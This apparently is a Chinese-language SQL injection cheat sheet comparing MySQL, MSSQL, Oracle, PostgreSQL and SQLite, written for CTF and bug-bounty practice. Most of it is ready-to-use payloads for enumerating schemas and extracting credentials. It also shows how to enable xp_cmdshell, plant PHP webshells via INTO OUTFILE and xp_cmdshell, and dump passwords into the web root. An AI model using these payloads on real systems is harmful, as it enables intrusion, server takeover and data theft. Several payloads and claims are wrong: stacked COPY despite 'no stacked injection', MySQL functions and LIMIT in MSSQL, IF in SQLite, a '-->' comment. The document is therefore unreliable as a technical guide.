五大主流数据库基础特性对比

约 33 分钟读完

核心说明:实战SQL注入中,数据库类型直接决定注入语法、函数用法、系统表调用方式,甚至影响绕过策略。本文详细对比MySQL、MSSQL、Oracle、PostgreSQL、SQLite五大主流数据库,聚焦注入实战核心差异——系统表、注释符、报错函数、权限函数、文件操作,补充盲注与联合查询的语法适配点,搭配实战Payload,适配CTF/SRC实战场景,与前文MySQL详解风格、格式保持一致。

一、五大主流数据库基础特性对比(核心前置)

先明确各数据库核心定位和基础特性,理解差异本质,避免注入时语法混淆(如Oracle需指定表别名、SQLite无复杂权限控制)。

数据库类型 核心定位 关键特性(注入相关) 默认端口 注入核心难点
MySQL 开源通用 支持information_schema、堆叠注入、文件读写(FILE权限) 3306 WAF拦截频繁,高版本权限收紧
MSSQL 微软闭源,Windows环境为主 支持堆叠注入、xp_cmdshell执行系统命令、多语句执行 1433 权限分级严格,部分函数需sa权限
Oracle 企业级闭源,高安全性 无information_schema,需用内置数据字典,必须指定表别名 1521 语法严格(别名必填),报错信息隐蔽
PostgreSQL 开源企业级,兼容性强 支持多种函数注入,无堆叠注入,文件读写权限管控严 5432 不支持多语句执行,部分函数用法特殊
SQLite 轻量级文件型,无服务端 无系统用户权限,系统表特殊,不支持文件读写(注入层面) 无端口(文件型) 无复杂函数,注入手法单一,仅支持基础盲注/联合查询

二、核心差异详解(实战注入重点,必背)

按「系统表→注释符→报错函数→权限函数→文件操作」分类,逐一对比五大数据库差异,每个差异点配套实战注入示例,直接套用。

1. 系统表差异(脱库核心,获取库/表/字段关键)

核心:系统表是注入脱库的入口,用于查询所有数据库、表、字段信息,五大数据库系统表差异最大,也是注入时首要区分的点(尤其Oracle、SQLite与MySQL差异极大)。

1.1 MySQL(参考前文,此处补充对比重点)

-- 核心系统库:information_schema(所有版本通用)
-- 核心表(必背)
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA; -- 所有库名
SELECT TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA='库名'; -- 指定库下表名
SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='库名' AND TABLE_NAME='表名'; -- 指定表下字段名
-- 高版本补充(MySQL 8.0+):mysql.databases、mysql.tables 替代information_schema部分表

1.2 MSSQL(核心:sys系统表,替代MySQL的information_schema)

-- 核心系统库:master(系统主库)、sys(系统表集合)
-- 1. 查询所有数据库名(替代MySQL的SCHEMATA表)
SELECT name FROM master.dbo.sysdatabases; -- 所有库名(dbo是默认架构)
-- 2. 查询指定库下表名(替代MySQL的TABLES表)
SELECT name FROM 库名.dbo.sysobjects WHERE xtype='U'; -- xtype='U' 表示用户表(排除系统表)
-- 3. 查询指定表下字段名(替代MySQL的COLUMNS表)
SELECT name FROM 库名.dbo.syscolumns WHERE id=object_id('库名.dbo.表名'); -- object_id获取表的ID,关联字段
-- 实战示例(获取当前库下表名)
?id=1' UNION ALL SELECT 1,name,3 FROM sysobjects WHERE xtype='U'--+

1.3 Oracle(核心:数据字典,无information_schema,必须用别名)

关键注意:Oracle注入时,任何子查询都必须指定别名(否则语法报错),这是与其他数据库最大的语法差异之一。

-- 核心数据字典(替代MySQL的information_schema)
-- 1. 查询所有数据库名(Oracle中“数据库”对应“表空间”,用户对应“库”)
SELECT tablespace_name FROM dba_tablespaces; -- 所有表空间(需dba权限)
SELECT username FROM dba_users; -- 所有用户(每个用户对应一个“库”,如scott、sys)
-- 2. 查询指定用户下的表名(替代MySQL的TABLES表)
SELECT table_name FROM all_tables WHERE owner='SCOTT'; -- SCOTT是用户名(大写,Oracle区分大小写)
SELECT table_name FROM user_tables; -- 当前用户下的所有表(无需指定owner)
-- 3. 查询指定表下的字段名(替代MySQL的COLUMNS表)
SELECT column_name FROM all_tab_columns WHERE owner='SCOTT' AND table_name='EMP'; -- EMP是表名
-- 实战示例(获取当前用户下表名,注意别名)
?id=1' UNION ALL SELECT 1,table_name,3 FROM user_tables t -- t是别名,必须加!否则报错

1.4 PostgreSQL(核心:information_schema兼容+系统表补充)

关键注意:PostgreSQL兼容information_schema,但部分语法与MySQL不同,且不支持堆叠注入。

-- 核心系统表:information_schema(兼容MySQL)+ pg_catalog(PostgreSQL专属)
-- 1. 查询所有数据库名(两种方式)
SELECT datname FROM pg_database; -- PostgreSQL专属,所有库名
SELECT SCHEMA_NAME FROM information_schema.SCHEMATA; -- 兼容MySQL方式
-- 2. 查询指定库下表名(需先切换库,或指定schema)
SELECT table_name FROM information_schema.TABLES WHERE table_schema='public'; -- public是默认schema(类似MySQL的库)
-- 3. 查询指定表下字段名(兼容MySQL方式)
SELECT column_name FROM information_schema.COLUMNS WHERE table_schema='public' AND table_name='users';
-- 实战示例(获取所有库名)
?id=1' UNION ALL SELECT 1,datname,3 FROM pg_database--+

1.5 SQLite(核心:sqlite_master系统表,唯一系统表)

关键注意:SQLite是文件型数据库,无“数据库”概念,只有“表”,系统表只有sqlite_master一个。

-- 核心系统表:sqlite_master(唯一系统表,存储所有表、视图、索引信息)
-- 1. 查询所有表名(无库名概念,直接查所有表)
SELECT name FROM sqlite_master WHERE type='table'; -- type='table' 表示用户表
-- 2. 查询指定表下的字段名(两种方式)
PRAGMA table_info('users'); -- SQLite专属语法,查询users表的所有字段(字段名、类型等)
SELECT sql FROM sqlite_master WHERE name='users'; -- 查看创建users表的SQL语句,提取字段名
-- 实战示例(获取所有表名)
?id=1' UNION ALL SELECT 1,name,3 FROM sqlite_master WHERE type='table'--+

系统表差异总结(必记)

  • 兼容information_schema:MySQL、PostgreSQL

  • 专属系统表:MSSQL(sys系列)、Oracle(数据字典)、SQLite(sqlite_master)

  • Oracle特殊:必须加表别名;SQLite特殊:无库名概念,仅一个系统表

2. 注释符差异(绕过闭合、截断SQL必备)

核心:注释符用于截断原SQL语句、绕过关键字过滤,五大数据库基础注释符通用,但进阶注释符(如内联注释)仅部分支持,实战中需区分。

注释符类型 MySQL MSSQL Oracle PostgreSQL SQLite 实战注入示例
单行注释(-- 空格) 支持 支持 支持 支持 支持 ?id=1' -- 123(URL中--+)
单行注释(#) 支持 不支持 不支持 支持 支持 ?id=1' #(MySQL专属)
多行注释(/**/) 支持 支持 支持 支持 支持 ?id=1' u//nion s//elect 1,2,3
内联注释(/!.../) 支持(核心绕过) 不支持 不支持 不支持 不支持 ?id=1' /!UNION/ SELECT 1,2,3#
专属注释符 --> ?id=1' --> (MSSQL专属)

3. 报错函数差异(无回显有报错,注入核心工具)

核心:报错函数用于将敏感数据(库名、表名)带入报错信息输出,五大数据库报错函数差异极大,需针对性选用,避免语法错误。

3.1 MySQL(前文详解,补充对比)

-- 核心报错函数(必背)
1. EXTRACTVALUE(1, CONCAT(0x7e, database(), 0x7e)) -- 最常用,32位长度限制
2. UPDATEXML(1, CONCAT(0x7e, version(), 0x7e), 1) -- 替代EXTRACTVALUE,同样32位限制
3. FLOOR(RAND()*2) 分组报错 -- 无长度限制,如:
AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT(database(),FLOOR(RAND()*2))x FROM information_schema.TABLES GROUP BY x)a)

3.2 MSSQL(核心:convert报错、raiserror报错)

-- 核心报错函数(必背,适配MSSQL语法)
1. convert报错(最常用,利用类型转换失败)
?id=1' AND convert(int, (SELECT database()))--+ -- 将库名转为int,报错带出
?id=1' AND convert(int, (SELECT concat(username,':',password) FROM users LIMIT 1))--+
2. raiserror报错(主动抛出错误,需高权限)
?id=1' AND raiserror((SELECT database()),16,1)--+ -- 16是错误级别,必须指定
3. 其他报错(适配特殊场景)
?id=1' AND (SELECT 1 FROM (SELECT 1 UNION SELECT 2)a WHERE 1=2) -- 子查询报错
-- 实战示例(带出当前库名)
?id=1' AND convert(int, db_name())--+ -- db_name()是MSSQL获取当前库名函数

3.3 Oracle(核心:utl_inaddr.get_host_name、invalid_number报错)

关键注意:Oracle报错函数需配合子查询别名,且部分函数需权限(如utl_inaddr需public权限)。

-- 核心报错函数(必背,注意别名)
1. utl_inaddr.get_host_name报错(最常用,无长度限制)
?id=1' AND utl_inaddr.get_host_name((SELECT table_name FROM user_tables t WHERE rownum=1))=1--+
-- 说明:rownum=1 表示取第一条数据(Oracle无LIMIT,用rownum限制),t是别名
2. invalid_number报错(类型转换失败,类似MSSQL的convert)
?id=1' AND 1=(SELECT to_number(table_name) FROM user_tables t WHERE rownum=1)--+
-- 将表名转为数字,报错带出表名
3. dbms_output.put_line报错(需高权限)
?id=1' AND dbms_output.put_line((SELECT username FROM dba_users t WHERE rownum=1))--+
-- 实战示例(带出当前用户下表名)
?id=1' AND utl_inaddr.get_host_name((SELECT table_name FROM user_tables t WHERE rownum=1))=1--+

3.4 PostgreSQL(核心:pg_sleep、cast报错)

关键注意:PostgreSQL报错函数较少,常用类型转换报错,且不支持堆叠注入。

-- 核心报错函数(必背)
1. cast报错(类型转换失败,最常用)
?id=1' AND cast((SELECT datname FROM pg_database LIMIT 1) AS int)=1--+
-- 将库名转为int,报错带出库名
2. pg_sleep配合条件报错(时间+报错结合)
?id=1' AND CASE WHEN (SELECT 1=1) THEN pg_sleep(5) ELSE 1 END=1--+
-- 条件成立延迟5秒,同时可结合cast报错带出数据
3. 其他报错(适配特殊场景)
?id=1' AND (SELECT 1/0 FROM pg_database LIMIT 1)--+ -- 除零错误,可拼接敏感数据
-- 实战示例(带出所有库名)
?id=1' AND cast((SELECT string_agg(datname, ',') FROM pg_database) AS int)=1--+
-- string_agg用于拼接多个结果,类似MySQL的GROUP_CONCAT

3.5 SQLite(核心:无专用报错函数,仅支持基础报错)

关键注意:SQLite轻量级,无专门的报错函数,仅能通过语法错误、类型转换错误带出少量数据,报错注入效果有限。

-- 仅有的报错方式(语法错误+类型转换)
1. 类型转换报错(最常用)
?id=1' AND cast((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1) AS int)=1--+
-- 将表名转为int,报错带出表名
2. 语法错误报错(效果有限)
?id=1' AND (SELECT 1 FROM sqlite_master WHERE name='users' AND 1=2)--+
-- 条件不成立,触发语法报错,但难以带出具体数据
-- 说明:SQLite报错注入效果差,优先用盲注/联合查询

报错函数差异总结(必记)

  • 报错函数最丰富:MySQL(3种核心,适配多场景)

  • 需别名:Oracle(所有子查询必须加别名,否则报错)

  • 报错函数最少:SQLite(无专用报错函数,仅支持基础报错)

  • 专属函数:MSSQL(raiserror)、Oracle(utl_inaddr.get_host_name)

4. 权限函数差异(判断权限,高权限利用前置)

核心:权限函数用于查询当前数据库用户权限(如是否为管理员、是否有文件读写权限),决定后续能否执行高权限操作(如写入Webshell、执行系统命令)。

数据库 获取当前用户名函数 判断管理员权限方法 查询文件读写权限方法 实战示例
MySQL user()、current_user() SELECT user() LIKE 'root@%'; -- root是管理员 SELECT FILE_PRIV FROM mysql.user WHERE user=current_user(); ?id=1' UNION SELECT 1,user(),3--+
MSSQL suser_name()、current_user SELECT is_srvrolemember('sysadmin'); -- 返回1是sa管理员 判断能否执行xp_cmdshell(高权限才可) ?id=1' AND is_srvrolemember('sysadmin')=1--+
Oracle user、sys_context('userenv','current_user') SELECT user FROM dual WHERE user='SYS'; -- SYS是管理员 判断能否执行utl_file函数(文件读写) ?id=1' UNION SELECT 1,user,3 FROM dual--+
PostgreSQL current_user、user SELECT current_user LIKE 'postgres%'; -- postgres是默认管理员 查看pg_hba.conf配置,或尝试文件读写 ?id=1' UNION SELECT 1,current_user,3--+
SQLite 无专门函数(无用户权限概念) 无管理员区分(文件所有者即权限所有者) 不支持文件读写(注入层面) 无权限查询相关语法

5. 文件操作差异(高权限利用,拿Webshell/系统文件核心)

核心:文件操作(读取系统文件、写入Webshell)仅高权限用户可执行,五大数据库文件操作语法差异极大,部分数据库(如SQLite)不支持注入层面的文件读写。

5.1 MySQL(前文详解,补充对比)

-- 核心文件操作函数(需FILE权限)
1. 读取文件:LOAD_FILE('绝对路径')
?id=1' UNION ALL SELECT 1,LOAD_FILE('/etc/passwd'),3--+
2. 写入文件:INTO OUTFILE / INTO DUMPFILE
?id=1' UNION ALL SELECT 1,'<?php eval($_POST[cmd]);?>',3 INTO OUTFILE '/var/www/html/shell.php'--+
-- 关键限制:secure_file_priv参数需不为NULL,目标文件不能已存在

5.2 MSSQL(核心:xp_cmdshell、bulk insert)

关键注意:需sa管理员权限,且xp_cmdshell默认禁用,需先启用。

-- 核心文件操作方法(必背)
1. 启用xp_cmdshell(前提:sa权限)
?id=1'; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--+
2. 执行系统命令(读取/写入文件,通过cmd命令)
?id=1'; EXEC xp_cmdshell 'type C:\Windows\system32\drivers\etc\hosts';--+ -- 读取文件(Windows)
?id=1'; EXEC xp_cmdshell 'echo "<?php eval($_POST[cmd]);?>" > C:\xampp\htdocs\shell.php';--+ -- 写入Webshell
3. 读取文件到表(bulk insert)
?id=1'; CREATE TABLE test (a varchar(8000)); BULK INSERT test FROM 'C:\hosts';--+ -- 读取文件到test表,再查询

5.3 Oracle(核心:utl_file包,需高权限)

关键注意:需sys、system等高权限,且需配置utl_file_dir参数(指定可操作目录),语法复杂。

-- 核心文件操作(utl_file包,注意别名)
1. 写入文件(需utl_file权限)
?id=1' AND utl_file.put_line(utl_file.fopen('DATA_DIR','shell.jsp','w'),'<%@ page language="java"%>')=1--+
-- 说明:DATA_DIR是配置的可操作目录,'w'是写入模式,需先创建目录(高权限)
2. 读取文件
?id=1' AND utl_file.get_line(utl_file.fopen('DATA_DIR','hosts','r'),100)=1--+
-- 100是读取长度,utl_file读取文件需逐行读取
-- 实战限制:Oracle文件操作权限管控极严,注入中很少用到

5.4 PostgreSQL(核心:copy命令,需高权限)

关键注意:仅支持将查询结果写入文件,或从文件读取数据到表,不支持直接读取文件内容到注入回显。

-- 核心文件操作(copy命令,需postgres管理员权限)
1. 写入文件(将查询结果写入文件)
?id=1'; COPY (SELECT username,password FROM users) TO '/var/www/html/password.txt';--+
2. 读取文件(将文件内容读取到表)
?id=1'; CREATE TABLE test (a text); COPY test FROM '/etc/passwd';--+
-- 限制:无法直接将文件内容回显(如通过联合查询显示),仅能写入文件或写入表后查询
-- 实战示例(写入账号密码到文件)
?id=1'; COPY (SELECT concat(username,':',password) FROM users) TO '/var/www/html/info.txt';--+

5.5 SQLite(核心:不支持注入层面的文件读写)

关键注意:SQLite是文件型数据库,本身就是一个文件(如test.db),但注入层面无法通过SQL语句读取服务器其他文件,也无法写入文件到服务器,仅能操作自身数据库文件(无实战注入价值)。

-- 无有效文件操作语法(注入层面)
-- 仅能操作自身数据库文件(如备份,但无注入价值)
.backup main /tmp/test.db -- 仅在SQLite命令行有效,注入中无法执行

文件操作差异总结(必记)

  • 最易操作(注入首选):MySQL(LOAD_FILE+INTO OUTFILE,语法简单)

  • 最高危:MSSQL(xp_cmdshell可直接执行系统命令,接管服务器)

  • 最严格:Oracle(权限+目录配置,注入中极少用到)

  • 限制多:PostgreSQL(仅支持copy命令,无法直接回显文件内容)

  • 无支持:SQLite(不支持注入层面文件读写)

三、盲注与联合查询的语法适配点(实战注入关键)

核心:盲注(布尔/时间)和联合查询是最通用的注入手法,但五大数据库语法适配差异较大,尤其Oracle、MSSQL的语法限制较多,需重点适配,避免注入失败。

1. 联合查询(UNION SELECT)适配差异

联合查询核心要求:前后查询列数一致、数据类型兼容,五大数据库的适配差异主要集中在「列数判断」「表名/字段名引用」「特殊语法限制」。

数据库 列数判断方法 联合查询核心适配点 实战示例(获取当前用户名)
MySQL ORDER BY N; -- N为列数,报错即超出列数 无特殊限制,列数一致即可,支持UNION ALL/UNION ?id=1' UNION ALL SELECT 1,user(),3--+
MSSQL ORDER BY N; 或 SELECT TOP 1 1,2,3 FROM 表名 支持UNION ALL,可引用sys系统表,需注意字段类型兼容 ?id=1' UNION ALL SELECT 1,suser_name(),3--+
Oracle ORDER BY N; 或 SELECT 1,2,3 FROM dual WHERE rownum=1 1. 必须指定表别名;2. 无数据时需用dual表(虚拟表);3. 用rownum限制条数 ?id=1' UNION ALL SELECT 1,user,3 FROM dual--+
PostgreSQL ORDER BY N; 或 SELECT 1,2,3 LIMIT 1 支持UNION ALL,不支持堆叠注入,可用LIMIT限制条数 ?id=1' UNION ALL SELECT 1,current_user,3--+
SQLite ORDER BY N; 或 SELECT 1,2,3 LIMIT 1 无特殊限制,列数一致即可,仅支持基础字段查询 ?id=1' UNION ALL SELECT 1,name,3 FROM sqlite_master LIMIT 1--+

2. 盲注(布尔/时间)适配差异

盲注核心要求:构造条件判断语句,根据页面反馈(正常/异常、延迟/不延迟)猜解数据,五大数据库适配差异主要集中在「时间函数」「条件判断语法」「替代函数」。

2.1 布尔盲注适配(页面有正常/异常差异)

-- 核心适配:条件判断语句,统一目标(猜解当前用户名第一个字符ASCII码)
1. MySQL
?id=1' AND ASCII(SUBSTR(user(),1,1))=114--+ -- 114是r(root)
2. MSSQL
?id=1' AND ASCII(SUBSTRING(suser_name(),1,1))=115--+ -- 115是s(sa)
3. Oracle(注意别名和rownum)
?id=1' AND ASCII(SUBSTR((SELECT user FROM dual t WHERE rownum=1),1,1))=83--+ -- 83是S(SCOTT,大写)
4. PostgreSQL
?id=1' AND ASCII(SUBSTR(current_user,1,1))=112--+ -- 112是p(postgres)
5. SQLite
?id=1' AND ASCII(SUBSTR((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1),1,1))=117--+ -- 117是u(users)

2.2 时间盲注适配(页面无差异,靠延迟)

-- 核心适配:时间函数差异,统一目标(猜解当前用户名第一个字符ASCII码,延迟5秒)
1. MySQL(SLEEP函数)
?id=1' AND IF(ASCII(SUBSTR(user(),1,1))=114,SLEEP(5),1)--+
2. MSSQL(WAITFOR DELAY函数)
?id=1' AND IF(ASCII(SUBSTRING(suser_name(),1,1))=115,WAITFOR DELAY '0:0:5',1)--+ -- 格式:时:分:秒
3. Oracle(DBMS_LOCK.SLEEP函数,需权限)
?id=1' AND CASE WHEN ASCII(SUBSTR((SELECT user FROM dual t WHERE rownum=1),1,1))=83 THEN DBMS_LOCK.SLEEP(5) ELSE 1 END=1--+
4. PostgreSQL(pg_sleep函数)
?id=1' AND CASE WHEN ASCII(SUBSTR(current_user,1,1))=112 THEN pg_sleep(5) ELSE 1 END=1--+
5. SQLite(无专门时间函数,用耗时操作模拟)
?id=1' AND IF(ASCII(SUBSTR((SELECT name FROM sqlite_master WHERE type='table' LIMIT 1),1,1))=117,(SELECT count(*) FROM sqlite_master a, sqlite_master b),1)--+
-- 说明:SQLite无SLEEP,用双重循环查询模拟延迟

盲注适配总结(必记)

  • 时间函数差异(核心):MySQL(SLEEP)、MSSQL(WAITFOR DELAY)、Oracle(DBMS_LOCK.SLEEP)、PostgreSQL(pg_sleep)、SQLite(无,需模拟)

  • Oracle特殊:所有子查询必须加别名,且用rownum限制条数(无LIMIT)

  • 替代函数通用:SUBSTR→SUBSTRING、ASCII→ORD(部分数据库支持)

  • SQLite特殊:无专门时间函数,盲注效率极低,优先用联合查询

四、实战区分数据库类型的技巧(注入前置,必背)

核心:注入时,首先要区分数据库类型,才能选用对应的语法、函数、系统表,以下技巧无需知道任何信息,直接通过注入语句判断,适配所有场景。

-- 技巧1:通过注释符判断(最快速)
?id=1' # -- 页面正常→ MySQL/PostgreSQL/SQLite(支持#注释)
?id=1' --> -- 页面正常→ MSSQL(支持-->注释)
?id=1' /*!UNION*/ SELECT 1,2,3--+ -- 页面正常→ MySQL(仅MySQL支持内联注释)

-- 技巧2:通过函数判断(最准确)
?id=1' AND user()=1--+ -- 报错且包含user()→ MySQL
?id=1' AND suser_name()=1--+ -- 报错且包含suser_name()→ MSSQL
?id=1' AND user=1--+ -- 报错且包含USER→ Oracle(Oracle用户函数无括号)
?id=1' AND current_user=1--+ -- 报错且包含current_user→ PostgreSQL
?id=1' AND sqlite_version()=1--+ -- 报错且包含sqlite_version→ SQLite

-- 技巧3:通过系统表判断(最直接)
?id=1' AND (SELECT COUNT(*) FROM information_schema.SCHEMATA)=1--+ -- 正常→ MySQL/PostgreSQL
?id=1' AND (SELECT COUNT(*) FROM sysdatabases)=1--+ -- 正常→ MSSQL
?id=1' AND (SELECT COUNT(*) FROM dual)=1--+ -- 正常→ Oracle(dual是Oracle虚拟表)
?id=1' AND (SELECT COUNT(*) FROM sqlite_master)=1--+ -- 正常→ SQLite

五、总结(实战核心提炼)

五大主流数据库的注入差异,本质是「语法规则」「系统表设计」「权限管控」的差异,实战中记住以下核心要点,可快速适配所有场景:

  1. 先区分数据库类型:用注释符、函数、系统表快速判断,避免盲目套用语法;

  2. 系统表是核心:MySQL/PostgreSQL用information_schema,MSSQL用sys系列,Oracle用数据字典,SQLite用sqlite_master;

  3. 报错/时间函数记专属:MySQL(SLEEP/EXTRACTVALUE)、MSSQL(WAITFOR/convert)、Oracle(utl_inaddr/DBMS_LOCK.SLEEP);

  4. 特殊限制要牢记:Oracle必须加表别名,MSSQL高权限需sa,PostgreSQL无堆叠注入,SQLite无文件读写/权限控制;

  5. 联合查询/盲注通用:仅需适配对应数据库的函数和语法,核心逻辑(列数一致、条件判断)不变。

← SQL基础查询语法:注入判断与结构探测 windows内网渗透常用的60个命令,以及使用技巧,w字解析 →